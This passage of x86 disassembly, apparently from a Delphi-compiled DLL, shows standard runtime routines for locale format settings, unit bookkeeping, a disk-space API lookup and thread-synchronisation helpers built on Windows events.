		test	bl, bl
		jz	short loc_4000BE3C
		push	ebp
		call	sub_4000BD44
		pop	ecx


loc_4000BE3C:				; CODE XREF: sub_4000BDA0+93j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000BDA0	endp

; ---------------------------------------------------------------------------
		align 4
dword_4000BE44	dd 8 dup(0)	
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000BE64	proc near		; CODE XREF: sub_400190AC+5Fp

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 8


loc_4000BE6C:				; CODE XREF: sub_4000BE64+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_4000BE6C
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_4000C12F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_4000BDA0
		call	sub_4000A91C
		cmp	byte ptr ds:dword_4001E8D4, 0
		jz	short loc_4000BE9A
		call	sub_4000AAF4


loc_4000BE9A:				; CODE XREF: sub_4000BE64+2Fj
		call	sub_400065C8	; GetThreadLocale
		mov	ebx, eax
		lea	eax, [ebp+var_10]
		push	eax
		xor	ecx, ecx
		mov	edx, 14h
		mov	eax, ebx
		call	sub_4000A868
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_4001E808
		call	sub_400048D8
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, offset dword_4000C144
		mov	edx, 1Bh
		mov	eax, ebx
		call	sub_4000A868
		mov	eax, [ebp+var_14]
		xor	edx, edx
		call	sub_40007DD4
		mov	ds:byte_4001E80C, al
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, offset dword_4000C144
		mov	edx, 1Ch
		mov	eax, ebx
		call	sub_4000A868
		mov	eax, [ebp+var_18]
		xor	edx, edx
		call	sub_40007DD4
		mov	ds:byte_4001E80D, al
		mov	cl, 2Ch
		mov	edx, 0Fh
		mov	eax, ebx
		call	sub_4000A8B4
		mov	ds:byte_4001E80E, al
		mov	cl, 2Eh
		mov	edx, 0Eh
		mov	eax, ebx
		call	sub_4000A8B4
		mov	ds:byte_4001E80F, al
		lea	eax, [ebp+var_1C]
		push	eax
		mov	ecx, offset dword_4000C144
		mov	edx, 19h
		mov	eax, ebx
		call	sub_4000A868
		mov	eax, [ebp+var_1C]
		xor	edx, edx
		call	sub_40007DD4
		mov	ds:byte_4001E810, al
		mov	cl, 2Fh
		mov	edx, 1Dh
		mov	eax, ebx
		call	sub_4000A8B4
		mov	ds:byte_4001E811, al
		lea	eax, [ebp+var_24]
		push	eax
		mov	ecx, offset dword_4000C150
		mov	edx, 1Fh
		mov	eax, ebx
		call	sub_4000A868
		mov	eax, [ebp+var_24]
		lea	edx, [ebp+var_20]
		call	sub_4000ABA4
		mov	edx, [ebp+var_20]
		mov	eax, offset dword_4001E814
		call	sub_400048D8
		lea	eax, [ebp+var_2C]
		push	eax
		mov	ecx, offset dword_4000C160
		mov	edx, 20h
		mov	eax, ebx
		call	sub_4000A868
		mov	eax, [ebp+var_2C]
		lea	edx, [ebp+var_28]
		call	sub_4000ABA4
		mov	edx, [ebp+var_28]
		mov	eax, offset dword_4001E818
		call	sub_400048D8
		mov	cl, 3Ah
		mov	edx, 1Eh
		mov	eax, ebx
		call	sub_4000A8B4
		mov	ds:byte_4001E81C, al
		lea	eax, [ebp+var_30]
		push	eax
		mov	ecx, offset dword_4000C178
		mov	edx, 28h
		mov	eax, ebx
		call	sub_4000A868
		mov	edx, [ebp+var_30]
		mov	eax, offset dword_4001E820
		call	sub_400048D8
		lea	eax, [ebp+var_34]
		push	eax
		mov	ecx, offset dword_4000C184
		mov	edx, 29h
		mov	eax, ebx
		call	sub_4000A868
		mov	edx, [ebp+var_34]
		mov	eax, offset dword_4001E824
		call	sub_400048D8
		lea	eax, [ebp+var_8]
		call	sub_40004884
		lea	eax, [ebp+var_C]
		call	sub_40004884
		lea	eax, [ebp+var_38]
		push	eax
		mov	ecx, offset dword_4000C144
		mov	edx, 25h
		mov	eax, ebx
		call	sub_4000A868
		mov	eax, [ebp+var_38]
		xor	edx, edx
		call	sub_40007DD4
		test	eax, eax
		jnz	short loc_4000C058
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_4000C190
		call	sub_4000491C
		jmp	short loc_4000C065
; ---------------------------------------------------------------------------


loc_4000C058:				; CODE XREF: sub_4000BE64+1E3j
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_4000C19C
		call	sub_4000491C


loc_4000C065:				; CODE XREF: sub_4000BE64+1F2j
		lea	eax, [ebp+var_3C]
		push	eax
		mov	ecx, offset dword_4000C144
		mov	edx, 23h
		mov	eax, ebx
		call	sub_4000A868
		mov	eax, [ebp+var_3C]
		xor	edx, edx
		call	sub_40007DD4
		test	eax, eax
		jnz	short loc_4000C0C7
		lea	eax, [ebp+var_40]
		push	eax
		mov	ecx, offset dword_4000C144
		mov	edx, 1005h
		mov	eax, ebx
		call	sub_4000A868
		mov	eax, [ebp+var_40]
		xor	edx, edx
		call	sub_40007DD4
		test	eax, eax
		jnz	short loc_4000C0BA
		lea	eax, [ebp+var_C]
		mov	edx, offset dword_4000C1A8
		call	sub_4000491C
		jmp	short loc_4000C0C7
; ---------------------------------------------------------------------------


loc_4000C0BA:				; CODE XREF: sub_4000BE64+245j
		lea	eax, [ebp+var_8]
		mov	edx, offset dword_4000C1B8
		call	sub_4000491C


loc_4000C0C7:				; CODE XREF: sub_4000BE64+222j
					; sub_4000BE64+254j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset dword_4000C1C8
		push	[ebp+var_C]
		mov	eax, offset dword_4001E828
		mov	edx, 4
		call	sub_40004C08
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset dword_4000C1D4
		push	[ebp+var_C]
		mov	eax, offset dword_4001E82C
		mov	edx, 4
		call	sub_40004C08
		mov	cl, 2Ch
		mov	edx, 0Ch
		mov	eax, ebx
		call	sub_4000A8B4
		mov	byte ptr ds:dword_4001E8D4+2, al
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000C136


loc_4000C121:				; CODE XREF: sub_4000BE64+2D0j
		lea	eax, [ebp+var_40]
		mov	edx, 10h
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_4000C12F:				; DATA XREF: sub_4000BE64+13o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000C121
; ---------------------------------------------------------------------------


loc_4000C136:				; CODE XREF: sub_4000BE64+2CAj
					; DATA XREF: sub_4000BE64+2B8o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000BE64	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_4000C144	dd 30h,	0FFFFFFFFh, 6					; sub_4000BE64+84o ...
dword_4000C150	dd 2F642F6Dh, 7979h, 0FFFFFFFFh, 0Chdword_4000C160	dd 6D6D6D6Dh, 202C6420h, 79797979h, 0		dd 0FFFFFFFFh, 2
dword_4000C178	dd 6D61h, 0FFFFFFFFh, 2dword_4000C184	dd 6D70h, 0FFFFFFFFh, 1dword_4000C190	dd 68h,	0FFFFFFFFh, 2dword_4000C19C	dd 6868h, 0FFFFFFFFh, 5dword_4000C1A8	dd 504D4120h, 4Dh, 0FFFFFFFFh, 5dword_4000C1B8	dd 4D504D41h, 20h, 0FFFFFFFFh, 3dword_4000C1C8	dd 6D6D3Ah, 0FFFFFFFFh,	6dword_4000C1D4	dd 3A6D6D3Ah, 7373hoff_4000C1DC	dd offset dword_4000C1E0 ; DATA	XREF: .text:4000C225o
dword_4000C1E0	dd 55540E11h, 4874696Eh, 41687361h, 79617272h, 14h, 0
					; DATA XREF: .text:off_4000C1DCo
		dd 0FFFFFFFFh, 0
		dd 73795308h, 6C697455h, 408D73h
off_4000C20C	dd offset dword_4000C210 ; DATA	XREF: sub_4000C230:loc_4000C3EBr
dword_4000C210	dd 4D540B0Eh, 6C75646Fh, 666E4965h, 86Fh, 100h
					; DATA XREF: .text:off_4000C20Co
		db 0
		dd offset off_4000C1DC
		db 4, 2	dup(0)
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000C230	proc near		; DATA XREF: sub_4000CC50+27o
					; sub_400190AC+4Bo

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	edx, off_4001B074
		mov	edx, [edx]
		test	edx, edx
		jz	short loc_4000C24E


loc_4000C243:				; CODE XREF: sub_4000C230+1Cj
		cmp	eax, [edx+4]
		jz	short loc_4000C24E
		mov	edx, [edx]
		test	edx, edx
		jnz	short loc_4000C243


loc_4000C24E:				; CODE XREF: sub_4000C230+11j
					; sub_4000C230+16j
		mov	[esp+1Ch+var_1C], edx
		cmp	[esp+1Ch+var_1C], 0
		jz	loc_4000C400
		mov	eax, [esp+1Ch+var_1C]
		cmp	dword ptr [eax+14h], 0
		jz	loc_4000C400
		mov	eax, [esp+1Ch+var_1C]
		mov	ebx, [eax+14h]
		cmp	byte ptr [ebx],	0
		jz	short loc_4000C27D
		mov	[esp+1Ch+var_18], offset dword_4001EA24
		jmp	short loc_4000C285
; ---------------------------------------------------------------------------


loc_4000C27D:				; CODE XREF: sub_4000C230+41j
		mov	[esp+1Ch+var_18], offset dword_4001EE24


loc_4000C285:				; CODE XREF: sub_4000C230+4Bj
		mov	eax, [ebx+4]
		call	sub_40005974
		mov	edi, eax
		test	edi, edi
		jl	loc_4000C3EB
		inc	edi
		xor	esi, esi


loc_4000C29A:				; CODE XREF: sub_4000C230+1B5j
		lea	eax, [esi+esi*4]
		mov	edx, [ebx+4]
		cmp	dword ptr [edx+eax*4+4], 0
		jz	short loc_4000C2BE
		mov	edx, [ebx+4]
		mov	eax, [edx+eax*4]
		lea	edx, [esi+esi*4]
		mov	ecx, [ebx+4]
		mov	edx, [ecx+edx*4+4]
		mov	[edx], eax
		jmp	loc_4000C3C4
; ---------------------------------------------------------------------------


loc_4000C2BE:				; CODE XREF: sub_4000C230+75j
		mov	edx, [ebx+4]
		cmp	dword ptr [edx+eax*4+0Ch], 0
		jz	loc_4000C3C4
		lea	eax, [esi+esi*4]
		mov	edx, [ebx+4]
		mov	eax, [edx+eax*4+0Ch]
		xor	edx, edx
		mov	[esp+1Ch+var_14], edx


loc_4000C2DC:				; CODE XREF: sub_4000C230+153j
		movzx	edx, byte ptr [eax]
		test	dl, dl
		jz	loc_4000C388
		mov	ecx, [esp+1Ch+var_14]
		add	ecx, ecx
		add	ecx, ecx
		mov	ebp, [esp+1Ch+var_14]
		shr	ebp, 1Eh
		or	ecx, ebp
		movzx	edx, dl
		movzx	edx, ds:byte_4001E924[edx]
		xor	ecx, edx
		mov	[esp+1Ch+var_14], ecx
		cmp	byte ptr [eax+1], 0
		jz	short loc_4000C388
		mov	edx, [esp+1Ch+var_14]
		add	edx, edx
		add	edx, edx
		mov	ecx, [esp+1Ch+var_14]
		shr	ecx, 1Eh
		or	edx, ecx
		movzx	ecx, byte ptr [eax+1]
		movzx	ecx, ds:byte_4001E924[ecx]
		xor	edx, ecx
		mov	[esp+1Ch+var_14], edx
		cmp	byte ptr [eax+2], 0
		jz	short loc_4000C388
		mov	edx, [esp+1Ch+var_14]
		add	edx, edx
		add	edx, edx
		mov	ecx, [esp+1Ch+var_14]
		shr	ecx, 1Eh
		or	edx, ecx
		movzx	ecx, byte ptr [eax+2]
		movzx	ecx, ds:byte_4001E924[ecx]
		xor	edx, ecx
		mov	[esp+1Ch+var_14], edx
		cmp	byte ptr [eax+3], 0
		jz	short loc_4000C388
		mov	edx, [esp+1Ch+var_14]
		add	edx, edx
		add	edx, edx
		mov	ecx, [esp+1Ch+var_14]
		shr	ecx, 1Eh
		or	edx, ecx
		movzx	ecx, byte ptr [eax+3]
		movzx	ecx, ds:byte_4001E924[ecx]
		xor	edx, ecx
		mov	[esp+1Ch+var_14], edx
		add	eax, 4
		jmp	loc_4000C2DC
; ---------------------------------------------------------------------------


loc_4000C388:				; CODE XREF: sub_4000C230+B1j
					; sub_4000C230+DCj ...
		movzx	eax, byte ptr [esp+1Ch+var_14]
		xor	al, byte ptr [esp+1Ch+var_14+1]
		xor	al, byte ptr [esp+1Ch+var_14+2]
		xor	al, byte ptr [esp+1Ch+var_14+3]
		movzx	edx, al
		mov	ecx, [esp+1Ch+var_18]
		mov	edx, [ecx+edx*4]
		lea	ecx, [esi+esi*4]
		mov	ebp, [ebx+4]
		lea	ecx, [ebp+ecx*4+0]
		cmp	edx, ecx
		jnz	short loc_4000C3C4
		lea	edx, [esi+esi*4]
		mov	ecx, [ebx+4]
		mov	edx, [ecx+edx*4]
		movzx	eax, al
		mov	ecx, [esp+1Ch+var_18]
		mov	[ecx+eax*4], edx


loc_4000C3C4:				; CODE XREF: sub_4000C230+89j
					; sub_4000C230+96j ...
		lea	eax, [esi+esi*4]
		mov	edx, [ebx+4]
		cmp	dword ptr [edx+eax*4], 0
		jz	short loc_4000C3E3
		mov	edx, [ebx+4]
		mov	eax, [edx+eax*4+4]
		lea	edx, [esi+esi*4]
		mov	ecx, [ebx+4]
		mov	edx, [ecx+edx*4]
		mov	[edx+4], eax


loc_4000C3E3:				; CODE XREF: sub_4000C230+19Ej
		inc	esi
		dec	edi
		jnz	loc_4000C29A


loc_4000C3EB:				; CODE XREF: sub_4000C230+61j
		mov	edx, ds:off_4000C20C
		mov	eax, ebx
		call	sub_40005634
		mov	eax, [esp+1Ch+var_1C]
		xor	edx, edx
		mov	[eax+14h], edx


loc_4000C400:				; CODE XREF: sub_4000C230+25j
					; sub_4000C230+32j
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000C230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4000C408	proc near		; CODE XREF: .text:4000C8EAp
		jmp	ds:dword_4002463C
sub_4000C408	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000C410	proc near		; CODE XREF: sub_40013E14+28p
		call	sub_40006580	; RtlGetLastWin32Error
		call	sub_4000C41C
		retn
sub_4000C410	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000C41C	proc near		; CODE XREF: sub_4000C410+5p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		xor	edx, edx
		mov	[ebp+var_14], edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000C4A7
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		test	ebx, ebx
		jz	short loc_4000C473
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], 0
		lea	edx, [ebp+var_14]
		mov	eax, ebx
		call	sub_4000A81C
		mov	eax, [ebp+var_14]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 0Bh
		lea	eax, [ebp+var_10]
		push	eax
		push	1
		mov	ecx, off_4001B030
		mov	dl, 1
		mov	eax, ds:off_40007720
		call	sub_4000B128
		mov	edx, eax
		jmp	short loc_4000C487
; ---------------------------------------------------------------------------


loc_4000C473:				; CODE XREF: sub_4000C41C+1Ej
		mov	ecx, off_4001B0A4
		mov	dl, 1
		mov	eax, ds:off_40007720
		call	sub_4000B0EC
		mov	edx, eax


loc_4000C487:				; CODE XREF: sub_4000C41C+55j
		mov	[edx+0Ch], ebx
		mov	eax, edx
		call	sub_400042E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000C4AE


loc_4000C49E:				; CODE XREF: sub_4000C41C+90j
		lea	eax, [ebp+var_14]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000C4A7:				; DATA XREF: sub_4000C41C+11o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000C49E
; ---------------------------------------------------------------------------


loc_4000C4AE:				; CODE XREF: sub_4000C41C+8Aj
					; DATA XREF: sub_4000C41C+7Do
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000C41C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C4B4	proc near		; CODE XREF: sub_4000CC50+31p
		push	ebx
		push	esi
		mov	esi, offset dword_4001AA04
		jmp	short loc_4000C4CF
; ---------------------------------------------------------------------------


loc_4000C4BD:				; CODE XREF: sub_4000C4B4+1Ej
		mov	ebx, [esi]
		mov	eax, [ebx]
		mov	[esi], eax
		mov	edx, 8
		mov	eax, ebx
		call	sub_40002C3C


loc_4000C4CF:				; CODE XREF: sub_4000C4B4+7j
		cmp	dword ptr [esi], 0
		jnz	short loc_4000C4BD
		pop	esi
		pop	ebx
		retn
sub_4000C4B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C4D8	proc near		; CODE XREF: sub_400190AC+5Ap
		push	ebx
		push	offset dword_4000C510
		call	sub_400065A0	; GetModuleHandleA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4000C4F9
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	ebx
		call	sub_400065A8	; GetProcAddress
		mov	dword_4001A850,	eax


loc_4000C4F9:				; CODE XREF: sub_4000C4D8+Fj
		cmp	dword_4001A850,	0
		jnz	short loc_4000C50C
		mov	eax, offset sub_400080E8
		mov	dword_4001A850,	eax


loc_4000C50C:				; CODE XREF: sub_4000C4D8+28j
		pop	ebx
		retn
sub_4000C4D8	endp

; ---------------------------------------------------------------------------
		align 10h
dword_4000C510	dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4000C4D8+11o

; =============== S U B	R O U T	I N E =======================================



sub_4000C534	proc near		; CODE XREF: sub_4000C79C+44p
					; sub_4000C79C+92p ...
		mov	edx, 1
		xchg	eax, edx
		lock xadd [edx], eax
		inc	eax
		retn
sub_4000C534	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000C540	proc near		; CODE XREF: sub_4000C79C+87p
					; .text:4000C8F9p
		mov	edx, 0FFFFFFFFh
		xchg	eax, edx
		lock xadd [edx], eax
		dec	eax
		retn
sub_4000C540	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000C54C	proc near		; CODE XREF: sub_4000C5D0+62p
					; sub_4000C658+1Ep
		xchg	edx, [eax]
		mov	eax, edx
		retn
sub_4000C54C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C554	proc near		; CODE XREF: sub_4000C79C+53p
					; sub_4000C79C+6Dp ...
		xchg	eax, edx
		lock xadd [edx], eax
		retn
sub_4000C554	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C55C	proc near		; DATA XREF: .text:40007874o

var_14		= byte ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		call	sub_40003FD8
		mov	[esp+14h+var_14], dl
		mov	ebp, eax
		xor	edi, edi


loc_4000C56D:				; CODE XREF: sub_4000C55C+32j
		mov	ebx, [ebp+edi*4+4]
		xor	eax, eax
		mov	[ebp+edi*4+4], eax
		test	ebx, ebx
		jz	short loc_4000C58A


loc_4000C57B:				; CODE XREF: sub_4000C55C+2Cj
		mov	esi, ebx
		mov	ebx, [ebx]
		mov	eax, esi
		call	sub_40002C3C
		test	ebx, ebx
		jnz	short loc_4000C57B


loc_4000C58A:				; CODE XREF: sub_4000C55C+1Dj
		inc	edi
		cmp	edi, 10h
		jnz	short loc_4000C56D
		movzx	edx, [esp+14h+var_14]
		and	dl, 0FCh
		mov	eax, ebp
		call	sub_40003CD8
		cmp	[esp+14h+var_14], 0
		jle	short loc_4000C5AB
		mov	eax, ebp
		call	sub_40003F80


loc_4000C5AB:				; CODE XREF: sub_4000C55C+46j
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000C55C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000C5B4	proc near		; CODE XREF: sub_4000C5D0+Cp
					; sub_4000C658+6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_40006560	; GetCurrentThreadId
		mov	[ebp+var_2], ax
		movzx	eax, byte ptr [ebp+var_2]
		xor	al, byte ptr [ebp+var_2+1]
		and	al, 0Fh
		pop	ecx
		pop	ebp
		retn
sub_4000C5B4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000C5D0	proc near		; CODE XREF: sub_4000C79C+2Ep
					; .text:4000C851p ...

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	[esp+14h+var_14], edx
		mov	edi, eax
		mov	eax, edi
		call	sub_4000C5B4
		mov	ebx, eax
		call	sub_40006560	; GetCurrentThreadId
		mov	esi, eax
		movzx	eax, bl
		mov	ebp, [edi+eax*4+4]
		jmp	short loc_4000C5F6
; ---------------------------------------------------------------------------


loc_4000C5F3:				; CODE XREF: sub_4000C5D0+2Dj
		mov	ebp, [ebp+0]


loc_4000C5F6:				; CODE XREF: sub_4000C5D0+21j
		test	ebp, ebp
		jz	short loc_4000C5FF
		cmp	esi, [ebp+4]
		jnz	short loc_4000C5F3


loc_4000C5FF:				; CODE XREF: sub_4000C5D0+28j
		test	ebp, ebp
		jnz	short loc_4000C63A
		mov	eax, edi
		call	sub_4000C658
		mov	ebp, eax
		test	ebp, ebp
		jnz	short loc_4000C63A
		mov	eax, 10h
		call	sub_40002C08
		mov	ebp, eax
		mov	[ebp+4], esi
		mov	dword ptr [ebp+8], 7FFFFFFFh
		mov	[ebp+0], ebp
		movzx	eax, bl
		lea	eax, [edi+eax*4+4]
		mov	edx, ebp
		call	sub_4000C54C
		mov	[ebp+0], eax


loc_4000C63A:				; CODE XREF: sub_4000C5D0+31j
					; sub_4000C5D0+3Ej
		mov	eax, [esp+14h+var_14]
		mov	[eax], ebp
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000C5D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C648	proc near		; CODE XREF: .text:4000C88Dp
					; .text:4000C92Ap
		mov	eax, [edx]
		xor	ecx, ecx
		mov	[eax+4], ecx
		mov	eax, [edx]
		xor	edx, edx
		mov	[eax+8], edx
		retn
sub_4000C648	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C658	proc near		; CODE XREF: sub_4000C5D0+35p
		push	ebx
		push	esi
		mov	ebx, eax
		mov	eax, ebx
		call	sub_4000C5B4
		movzx	eax, al
		mov	ebx, [ebx+eax*4+4]
		test	ebx, ebx
		jz	short loc_4000C695


loc_4000C66E:				; CODE XREF: sub_4000C658+3Bj
		lea	eax, [ebx+8]
		mov	edx, 7FFFFFFFh
		call	sub_4000C54C
		mov	esi, eax
		cmp	esi, 7FFFFFFFh
		jz	short loc_4000C68F
		call	sub_40006560	; GetCurrentThreadId
		mov	[ebx+4], eax
		jmp	short loc_4000C695
; ---------------------------------------------------------------------------


loc_4000C68F:				; CODE XREF: sub_4000C658+2Bj
		mov	ebx, [ebx]
		test	ebx, ebx
		jnz	short loc_4000C66E


loc_4000C695:				; CODE XREF: sub_4000C658+14j
					; sub_4000C658+35j
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4000C658	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C69C	proc near		; CODE XREF: sub_400191F8+30p
		push	ebx
		push	esi
		test	dl, dl
		jz	short loc_4000C6AA
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_4000C6AA:				; CODE XREF: sub_4000C69C+4j
		mov	ebx, edx
		mov	esi, eax
		xor	edx, edx
		mov	eax, esi
		call	sub_40003CB8
		mov	dword ptr [esi+0Ch], 0FFFFh
		push	0
		push	0FFFFFFFFh
		push	0FFFFFFFFh
		push	0
		call	sub_40006508	; CreateEventA
		mov	[esi+10h], eax
		push	0
		push	0
		push	0
		push	0
		call	sub_40006508	; CreateEventA
		mov	[esi+14h], eax
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	dl, 1
		mov	eax, ds:off_4000782C
		call	sub_40003CB8
		mov	[esi+20h], eax
		mov	eax, esi
		test	bl, bl
		jz	short loc_4000C709
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_4000C709:				; CODE XREF: sub_4000C69C+5Cj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4000C69C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000C710	proc near		; DATA XREF: .text:40007950o
		push	ebx
		push	esi
		call	sub_40003FD8
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_4000C79C
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_40003CD8
		mov	eax, [esi+10h]
		push	eax
		call	sub_400064F0	; CloseHandle
		mov	eax, [esi+14h]
		push	eax
		call	sub_400064F0	; CloseHandle
		mov	eax, [esi+20h]
		call	sub_40003CE8
		test	bl, bl
		jle	short loc_4000C753
		mov	eax, esi
		call	sub_40003F80


loc_4000C753:				; CODE XREF: sub_4000C710+3Aj
		pop	esi
		pop	ebx
		retn
sub_4000C710	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C758	proc near		; CODE XREF: sub_4000C79C+1Dp
					; sub_4000C79C+7Bp
		mov	eax, [eax+10h]
		push	eax
		call	sub_40006620	; ResetEvent
		retn
sub_4000C758	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C764	proc near		; CODE XREF: .text:4000C87Ap
		mov	eax, [eax+10h]
		push	eax
		call	sub_40006628	; SetEvent
		retn
sub_4000C764	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000C770	proc near		; CODE XREF: .text:4000C873p
					; .text:4000C8E3p ...
		mov	eax, [eax+14h]
		push	eax
		call	sub_40006628	; SetEvent
		retn
sub_4000C770	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C77C	proc near		; CODE XREF: .text:4000C8C8p
					; .text:4000C8F1p
		mov	edx, [eax+18h]
		push	edx
		mov	eax, [eax+10h]
		push	eax
		call	sub_40006650	; WaitForSingleObject
		retn
sub_4000C77C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C78C	proc near		; CODE XREF: sub_4000C79C+60p
		mov	edx, [eax+18h]
		push	edx
		mov	eax, [eax+14h]
		push	eax
		call	sub_40006650	; WaitForSingleObject
		retn
sub_4000C78C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000C79C	proc near		; CODE XREF: sub_4000C710+Dp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	ebp, eax
		mov	bl, 1
		call	sub_40006560	; GetCurrentThreadId
		mov	edi, eax
		cmp	edi, [ebp+24h]
		jz	loc_4000C83B
		mov	eax, ebp
		call	sub_4000C758
		mov	eax, [ebp+28h]
		mov	[esp+18h+var_14], eax
		mov	edx, esp
		mov	eax, [ebp+20h]
		call	sub_4000C5D0
		mov	eax, [esp+18h+var_18]
		cmp	dword ptr [eax+0Ch], 0
		setnbe	bl
		test	bl, bl
		jz	short loc_4000C801
		lea	eax, [ebp+0Ch]
		call	sub_4000C534
		jmp	short loc_4000C801
; ---------------------------------------------------------------------------


loc_4000C7E7:				; CODE XREF: sub_4000C79C+77j
		lea	eax, [ebp+0Ch]
		mov	edx, 0FFFFh
		call	sub_4000C554
		mov	esi, eax
		test	esi, esi
		jz	short loc_4000C801
		mov	eax, ebp
		call	sub_4000C78C


loc_4000C801:				; CODE XREF: sub_4000C79C+3Fj
					; sub_4000C79C+49j ...
		lea	eax, [ebp+0Ch]
		mov	edx, 0FFFF0001h
		call	sub_4000C554
		cmp	eax, 0FFFFh
		jnz	short loc_4000C7E7
		mov	eax, ebp
		call	sub_4000C758
		test	bl, bl
		jz	short loc_4000C828
		lea	eax, [ebp+0Ch]
		call	sub_4000C540


loc_4000C828:				; CODE XREF: sub_4000C79C+82j
		mov	[ebp+24h], edi
		lea	eax, [ebp+28h]
		call	sub_4000C534
		dec	eax
		cmp	eax, [esp+18h+var_14]
		setz	bl


loc_4000C83B:				; CODE XREF: sub_4000C79C+15j
		inc	dword ptr [ebp+1Ch]
		mov	eax, ebx
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
